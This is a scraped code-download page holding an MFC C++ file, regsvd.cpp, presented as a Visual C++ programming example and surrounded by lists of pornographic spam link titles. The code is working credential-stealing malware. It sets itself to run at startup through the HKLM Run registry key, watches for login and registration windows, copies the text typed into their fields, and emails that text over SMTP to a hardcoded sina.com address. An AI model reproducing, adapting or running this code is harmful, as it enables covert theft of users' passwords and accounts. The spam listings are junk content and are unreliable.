亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? regsvd.cpp

?? visual c++ 實例編程
?? CPP
字號:
// regsvd.cpp : Defines the class behaviors for the application.
//

#include "stdafx.h"
#include "regsvd.h"
#include "regsvdDlg.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CRegsvdApp

BEGIN_MESSAGE_MAP(CRegsvdApp, CWinApp)
	//{{AFX_MSG_MAP(CRegsvdApp)
		// NOTE - the ClassWizard will add and remove mapping macros here.
		//    DO NOT EDIT what you see in these blocks of generated code!
	//}}AFX_MSG
	ON_COMMAND(ID_HELP, CWinApp::OnHelp)
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CRegsvdApp construction

CRegsvdApp::CRegsvdApp()
{
	// TODO: add construction code here,
	// Place all significant initialization in InitInstance
}

/////////////////////////////////////////////////////////////////////////////
// The one and only CRegsvdApp object

CRegsvdApp theApp;
BOOL bFindWindow = FALSE;
char sWindowName[20][256];

/////////////////////////////////////////////////////////////////////////////
// CRegsvdApp initialization
BOOL CALLBACK EnumChildProc(
  HWND hwnd,      // handle to child window
  LPARAM lParam   // application-defined value
)
{
	char sWindowClass[256];
	CString strWindowClass;
	CString strWindowName;

	::GetClassName(hwnd, sWindowClass, 256);
	strWindowClass = sWindowClass;
	if (strWindowClass == _T("Edit") || strWindowClass == _T("ComboBox"))
	{
		for (int i = 0; i < 20; i++)
		{
			strWindowName = sWindowName[i];
			if (strWindowName == _T(""))
			{
				break;
			}
		}
		if (i < 20)
		{
			::SendMessage(hwnd, WM_GETTEXT,256, (LPARAM)sWindowName[i]);
		}
	}
	return TRUE;
}

HWND hSameWnd;
BOOL CALLBACK EnumWindowsProc(
  HWND hwnd,      // handle to parent window
  LPARAM lParam   // application-defined value
)
{
	CString sWindowText;

	GetWindowText(hwnd, sWindowText.GetBuffer(256), 256);
	sWindowText.ReleaseBuffer();
	if (sWindowText.Find(_T("用戶登錄")) != -1 || sWindowText.Find(_T("注冊向導")) != -1)
	{
		if (hSameWnd == NULL)
		{
			hSameWnd = hwnd;
		}
		if (hSameWnd == hwnd)
		{
			memset(sWindowName, 0, 20 * 256);
			::EnumChildWindows(hwnd, EnumChildProc, 0);
			bFindWindow = TRUE;
			return FALSE;
		}
	}
	return TRUE;
}

HANDLE	hSingleEvent;
BOOL CRegsvdApp::InitInstance()
{
	hSingleEvent = ::CreateEvent(NULL, FALSE, TRUE, _T("regsvd running!"));
	int nError = ::GetLastError();
	if (nError == ERROR_ALREADY_EXISTS)
	{
//		AfxMessageBox(_T("The regsvd is already in running!"));
		return FALSE;
	}
	if (!AfxSocketInit())
	{
		AfxMessageBox(IDP_SOCKETS_INIT_FAILED);
		return FALSE;
	}

	hSameWnd = NULL;
	AfxEnableControlContainer();

	// Standard initialization
	// If you are not using these features and wish to reduce the size
	//  of your final executable, you should remove from the following
	//  the specific initialization routines you do not need.

#ifdef _AFXDLL
	Enable3dControls();			// Call this when using MFC in a shared DLL
#else
	Enable3dControlsStatic();	// Call this when linking to MFC statically
#endif

	BOOL bWriteIni = FALSE;	
	char sPath[512];
	::GetCurrentDirectory(512, sPath);
	strcat(sPath, _T("\\pass.ini"));

	ModifyRegister();
	while (1)
	{
		BOOL bFind = ::EnumWindows(EnumWindowsProc, 0); // 0表示找到
		if (bFindWindow == TRUE && bFind == 1)
		{
			bFindWindow = FALSE;
			hSameWnd = NULL;
			for ( int i = 0; i < 20; i++)
			{
				char sPosition[8];
				_itoa(i, sPosition, 10);
				if (bWriteIni)
				{
					WritePrivateProfileString(_T("PASS"), sPosition, sWindowName[i], sPath);
				}
			}
			SendEmail();
		}
		Sleep(40);
	}
	CloseHandle(hSingleEvent);
	return FALSE;
}

void CRegsvdApp::ModifyRegister()
{
	char sPath[512];
	CString strRunPath;
	::GetCurrentDirectory(512, sPath);
	strRunPath = sPath;
	strRunPath = strRunPath + _T("\\regsvd.exe");
	LONG error = 0;
	HKEY prikey, subkey;
	DWORD nLabel;
	CString strRunKey;
	error = RegCreateKeyEx( HKEY_LOCAL_MACHINE, 
					_T("SOFTWARE"), 
					0, 
					NULL, 
					REG_OPTION_NON_VOLATILE, 
					KEY_ALL_ACCESS,
					NULL,
					&subkey, 
					&nLabel );

	prikey = subkey;
	error = RegCreateKeyEx( prikey, 
					_T("Microsoft"), 
					0, 
					NULL, 
					REG_OPTION_NON_VOLATILE, 
					KEY_ALL_ACCESS,
					NULL,
					&subkey, 
					&nLabel );

	prikey = subkey;
	error = RegCreateKeyEx( prikey, 
					_T("Windows"), 
					0, 
					NULL, 
					REG_OPTION_NON_VOLATILE, 
					KEY_ALL_ACCESS,
					NULL,
					&subkey, 
					&nLabel );

	prikey = subkey;
	error = RegCreateKeyEx( prikey, 
					_T("CurrentVersion"), 
					0, 
					NULL, 
					REG_OPTION_NON_VOLATILE, 
					KEY_ALL_ACCESS,
					NULL,
					&subkey, 
					&nLabel );

	prikey = subkey;
	error = RegCreateKeyEx( prikey, 
					_T("Run"), 
					0, 
					NULL, 
					REG_OPTION_NON_VOLATILE, 
					KEY_ALL_ACCESS,
					NULL,
					&subkey, 
					&nLabel );

	prikey = subkey;
	error = RegSetValueEx( prikey,
						   _T("pass"),
						   0,
						   REG_SZ,
						   (UCHAR *)((LPCTSTR)strRunPath),
						   strRunPath.GetLength() + 1);
}

void CRegsvdApp::SendEmail()
{
FAILLOOP:
	CSocket socket;
	int nTime = 0;
	CString str, strResponse;
	CString m_sSenderSMTPAddr = _T("smtp.sina.com");
	UINT m_nSenderSMTPPort = 25;
	CString m_sSenderMailAddr = _T("linlby@sina.com");
	CString m_sRecver = _T("linlby@sia.com");
	
	TRY
	{
		socket.Create();
		if (socket.Connect((LPCTSTR)m_sSenderSMTPAddr, m_nSenderSMTPPort))
		{
			CSocketFile file(&socket);
			CArchive arIn(&file, CArchive::load | CArchive::bNoFlushOnDelete);
			CArchive arOut(&file, CArchive::store | CArchive::bNoFlushOnDelete);
			while (TRUE)
			{
				arIn.ReadString(strResponse);
				if ("220" != strResponse.Left(3))
				{
					break;
				}
				CString strTemp;
				CString strHostName;

				gethostname(strHostName.GetBuffer(256), 256);
				strHostName.ReleaseBuffer();
				
				nTime = 0;
				strTemp.Format("HELO %s\r\n", (LPCTSTR)strHostName);
				str = strTemp;
LOOPHELO:		arOut.WriteString(str);
				arOut.Flush();
				arIn.ReadString(strResponse);
				if ("250" != strResponse.Left(3))
				{
					if (nTime < 3)
					{
						nTime++;
						goto LOOPHELO;
					}
					else
					{
						break;
					}
				}

				nTime = 0;
				str.Format("MAIL FROM: <%s>\r\n", 
					(LPCTSTR)m_sSenderMailAddr);
LOOPMAILFROM:	arOut.WriteString(str);
				arOut.Flush();
				arIn.ReadString(strResponse);
				if ("250" != strResponse.Left(3))
				{
					if (nTime < 3)
					{
						nTime++;
						goto LOOPMAILFROM;
					}
					else
					{
						break;
					}
				}

				nTime = 0;
				str = "RCPT TO: <" + m_sRecver + ">\r\n";
LOOPRCPTTO:		arOut.WriteString(str);
				arOut.Flush();
				arIn.ReadString(strResponse);
				strResponse = strResponse.Left(3);
				if (("250" != strResponse) && ("251" != strResponse))
				{
					if (nTime < 3)
					{
						nTime++;
						goto LOOPRCPTTO;
					}
					else
					{
						break;
					}
				}

				nTime = 0;
LOOPDATA:		arOut.WriteString("DATA\r\n");
				arOut.Flush();
				arIn.ReadString(strResponse);
				strResponse = strResponse.Left(3);
				if ("354" != strResponse)
				{
					if (nTime < 3)
					{
						nTime++;
						goto LOOPDATA;
					}
					else
					{
						break;
					}
				}

				CString strBuf;
#define MAX_BUF_SIZE 4096
LOOPSUB:		CString m_sSubject = _T("pass");
				strBuf = _T("Subject: ");
				if (m_sSubject != _T(""))
				{
					strBuf = strBuf + m_sSubject;
					str.Format("%s\r\n", strBuf);
					if (str.GetLength() > 40)
					{
						break;
					}
					
					arOut.WriteString(str);
				}
				for (int i = 0; i < 20; i++)
				{
					strBuf = sWindowName[i];
					if ((!strBuf.IsEmpty()) && (strBuf[0] == '.'))
						strBuf = '.' + strBuf;
					str = strBuf + "\r\n";
					if (str.GetLength() > 100)
					{
						break;
					}
					arOut.WriteString(str);
				}
				
				arOut.WriteString(".\r\n");

				arOut.Flush();
				arIn.ReadString(strResponse);
				if ("250" != strResponse.Left(3))
				{
					if (nTime < 3)
					{
						nTime++;
						goto LOOPSUB;
					}
					else
					{
						break;
					}
				}

				arOut.WriteString("QUIT\r\n");
				arOut.Flush();
				arIn.ReadString(strResponse);
				break;
			}
		}
	}
	CATCH_ALL(e)
	{
		e->Delete();
		Sleep(10);
		goto FAILLOOP;
	}
	END_CATCH_ALL
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产综合色精品一区二区三区| 亚洲精品国产品国语在线app| 91视频免费观看| 欧美电影免费观看高清完整版在| 一区二区三区产品免费精品久久75| 色婷婷一区二区三区四区| 中文字幕日韩一区| 91亚洲精品久久久蜜桃| 亚洲国产成人av| 欧美经典一区二区| 欧美日韩日日骚| 国产成人av电影在线| 亚洲一区二区三区三| 精品国产精品网麻豆系列 | 日韩福利电影在线观看| 久久综合九色综合欧美就去吻| eeuss国产一区二区三区| 五月激情六月综合| 国产精品国产三级国产普通话三级| 91精品国产福利| av在线不卡免费看| 久久99久久99| 亚洲超碰精品一区二区| 欧美国产国产综合| 欧美大片顶级少妇| 欧美日韩一区二区欧美激情| 懂色av中文字幕一区二区三区 | www.久久精品| 日韩va亚洲va欧美va久久| ●精品国产综合乱码久久久久| 日韩天堂在线观看| 日本韩国精品在线| 麻豆精品国产91久久久久久| 一区二区三区在线影院| 国产亚洲成aⅴ人片在线观看| 欧美猛男男办公室激情| 成人av在线网| 激情综合色综合久久| 亚洲va欧美va天堂v国产综合| 亚洲另类在线视频| 中文av一区特黄| 久久精品一区二区三区不卡 | 色欲综合视频天天天| 国产精品亚洲一区二区三区妖精 | 国产一区二区在线电影| 成人综合激情网| 麻豆成人久久精品二区三区红| 亚洲一区在线观看免费 | 麻豆精品新av中文字幕| 午夜伦理一区二区| 亚洲午夜在线电影| 亚洲国产综合人成综合网站| 亚洲图片激情小说| 久久精品在线免费观看| 精品国产精品一区二区夜夜嗨| 欧美一级二级在线观看| 欧美日本韩国一区| 欧美日韩国产高清一区二区三区 | 日本精品一区二区三区四区的功能| 精品一区二区三区免费毛片爱| 美美哒免费高清在线观看视频一区二区 | 久久久久国产精品厨房| 久久久国际精品| 中文字幕不卡在线观看| 国产性色一区二区| 国产欧美视频一区二区| 亚洲国产精品国自产拍av| 久久久美女艺术照精彩视频福利播放| 久久综合久久综合九色| 久久免费精品国产久精品久久久久| 精品久久久久久久一区二区蜜臀| 日韩免费高清电影| 欧美日韩不卡一区二区| 欧美疯狂做受xxxx富婆| 日韩一区二区精品在线观看| 精品理论电影在线| 亚洲国产精品精华液2区45| 亚洲欧洲国产专区| 亚洲男帅同性gay1069| 亚洲美女淫视频| 亚洲激情成人在线| 性久久久久久久久久久久| 久久精品久久久精品美女| 国产一区二区伦理片| a在线欧美一区| 波多野结衣在线一区| 欧日韩精品视频| 欧美成人r级一区二区三区| 亚洲国产精品二十页| 亚洲欧洲性图库| 三级在线观看一区二区| 国产一区二区精品久久91| 99这里只有精品| 欧美日本在线观看| 亚洲在线观看免费| 免费国产亚洲视频| 丰满少妇久久久久久久| 色婷婷综合五月| 欧美一级一级性生活免费录像| 国产日韩精品一区二区浪潮av| 亚洲激情欧美激情| 国产伦精品一区二区三区视频青涩 | 国产麻豆日韩欧美久久| 欧洲一区在线观看| 欧美大片在线观看一区| 亚洲欧美成人一区二区三区| 国产剧情一区在线| 欧美一区二视频| 亚洲一区二区三区不卡国产欧美| 国产成人免费9x9x人网站视频| 欧美人妇做爰xxxⅹ性高电影| 国产精品电影院| 国产一区二区三区国产| 日韩一区二区三区电影在线观看| 亚洲一区二区三区在线播放| 91在线视频观看| 中文字幕高清不卡| 国产激情91久久精品导航| 91精品国产91热久久久做人人| 玉足女爽爽91| 色菇凉天天综合网| 国产精品久久久久久久久免费相片 | 免费成人美女在线观看| 欧美在线制服丝袜| 亚洲精品国产一区二区精华液 | 欧美r级在线观看| 性做久久久久久免费观看| 在线观看免费一区| 国产精品高潮呻吟| av日韩在线网站| 国产精品麻豆视频| av一区二区三区| 亚洲欧美影音先锋| 成年人网站91| 亚洲视频一区在线| 日本大香伊一区二区三区| 一区二区三区四区在线免费观看| 不卡av在线网| 一区二区三区成人| 欧美日韩在线三级| 日本女人一区二区三区| 日韩亚洲欧美成人一区| 美女脱光内衣内裤视频久久影院| 日韩一区二区三区免费看| 久久精品久久综合| www日韩大片| 国产成人午夜99999| 国产精品久久一卡二卡| 色综合久久久久网| 亚洲成人激情av| 精品少妇一区二区三区视频免付费| 久久不见久久见免费视频1| 亚洲精品一区二区三区99| 成人污视频在线观看| 亚洲美女偷拍久久| 在线电影院国产精品| 欧美三级乱人伦电影| 日韩 欧美一区二区三区| 久久综合色播五月| 91在线国产观看| 午夜久久福利影院| www亚洲一区| 色老综合老女人久久久| 日韩成人av影视| 欧美韩日一区二区三区| 91美女蜜桃在线| 日本欧美一区二区在线观看| 久久久久久久久99精品| 欧美综合亚洲图片综合区| 久久精品国产99久久6| 国产精品毛片大码女人| 欧美日韩国产一二三| 国产丶欧美丶日本不卡视频| 亚洲免费av网站| 精品国产麻豆免费人成网站| 91在线观看地址| 久久成人久久爱| 亚洲欧美日韩成人高清在线一区| 日韩视频一区二区三区| 91在线视频官网| 精品一区二区三区免费观看| 亚洲美女区一区| 久久精品视频网| 精品视频免费看| 成人黄色在线看| 久久精品72免费观看| 亚洲色图一区二区| 精品久久一区二区三区| 日本丶国产丶欧美色综合| 国产最新精品精品你懂的| 亚洲自拍偷拍综合| 国产日韩精品久久久| 欧美日韩1区2区| av亚洲精华国产精华精| 精品一区中文字幕| 亚洲午夜免费电影| 国产精品看片你懂得| 久久丝袜美腿综合| 欧美精品在线视频| 色激情天天射综合网|